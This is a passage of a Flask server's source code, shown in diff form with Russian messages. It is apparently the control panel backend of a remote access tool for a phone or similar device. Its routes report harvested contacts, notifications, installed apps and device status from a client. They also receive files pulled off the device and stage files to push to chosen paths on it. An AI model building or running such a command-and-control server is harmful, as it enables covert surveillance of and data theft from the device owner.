795 |
if origin_command_type == "request_download_file":
|
796 |
command_output = f"Файл '{filename}' успешно загружен С клиента."
|
|
|
797 |
return jsonify({'status': 'success', 'filename': filename})
|
798 |
except Exception as e:
|
799 |
command_output = f"Ошибка сохранения файла от клиента: {str(e)}"
|
|
|
803 |
def get_status_output_route():
|
804 |
global command_output, last_client_heartbeat, current_client_path, device_status_info, notifications_history, contacts_list, installed_apps_list
|
805 |
return jsonify({
|
806 |
+
'output': command_output, 'last_heartbeat': last_client_heartbeat,
|
807 |
+
'current_path': current_client_path, 'device_status': device_status_info,
|
808 |
+
'notifications': notifications_history, 'contacts': contacts_list,
|
|
|
|
|
|
|
809 |
'installed_apps': installed_apps_list
|
810 |
})
|
811 |
|
|
|
818 |
files = []
|
819 |
try:
|
820 |
for f_name in os.listdir(app.config['UPLOAD_FOLDER']):
|
821 |
+
if os.path.isfile(os.path.join(app.config['UPLOAD_FOLDER'], f_name)): files.append(f_name)
|
822 |
+
except Exception: pass
|
|
|
|
|
823 |
return jsonify({'files': sorted(files, key=lambda f: os.path.getmtime(os.path.join(app.config['UPLOAD_FOLDER'], f)), reverse=True)})
|
824 |
|
825 |
|
826 |
@app.route('/upload_to_server_for_client', methods=['POST'])
|
827 |
def upload_to_server_for_client_route():
|
828 |
+
global command_output
|
829 |
+
if 'file_to_device' not in request.files: return jsonify({'status': 'error', 'message': 'No file_to_device part in request'}), 400
|
|
|
|
|
830 |
file = request.files['file_to_device']
|
831 |
target_path_on_device = request.form.get('target_path_on_device')
|
832 |
+
if file.filename == '': return jsonify({'status': 'error', 'message': 'No selected file for_device'}), 400
|
833 |
+
if not target_path_on_device: return jsonify({'status': 'error', 'message': 'Target path on device not specified'}), 400
|
|
|
|
|
|
|
|
|
834 |
|
835 |
if file:
|
836 |
original_filename = werkzeug.utils.secure_filename(file.filename)
|
837 |
server_side_filename = str(uuid.uuid4()) + "_" + original_filename
|
838 |
filepath_on_server = os.path.join(app.config['FILES_TO_CLIENT_FOLDER'], server_side_filename)
|
|
|
839 |
try:
|
840 |
file.save(filepath_on_server)
|
841 |
command_output = f"Файл {original_filename} загружен на сервер, готов к отправке клиенту в {target_path_on_device}."
|
842 |
+
return jsonify({'status': 'success', 'server_filename': server_side_filename, 'original_filename': original_filename, 'target_path_on_device': target_path_on_device})
|
843 |
+
except Exception as e: return jsonify({'status': 'error', 'message': f'Server error saving file for client: {str(e)}'}), 500
|
|
|
|
|
|
|
|
|
|
|
|
|
844 |
return jsonify({'status': 'error', 'message': 'File processing failed on server'}), 500
|
845 |
|
846 |
@app.route('/download_to_client/<filename>')
|
847 |
def download_to_client(filename):
|
848 |
return send_from_directory(app.config['FILES_TO_CLIENT_FOLDER'], filename, as_attachment=True)
|
849 |
|
|
|
850 |
if __name__ == '__main__':
|
851 |
app.run(host='0.0.0.0', port=7860, debug=False)
|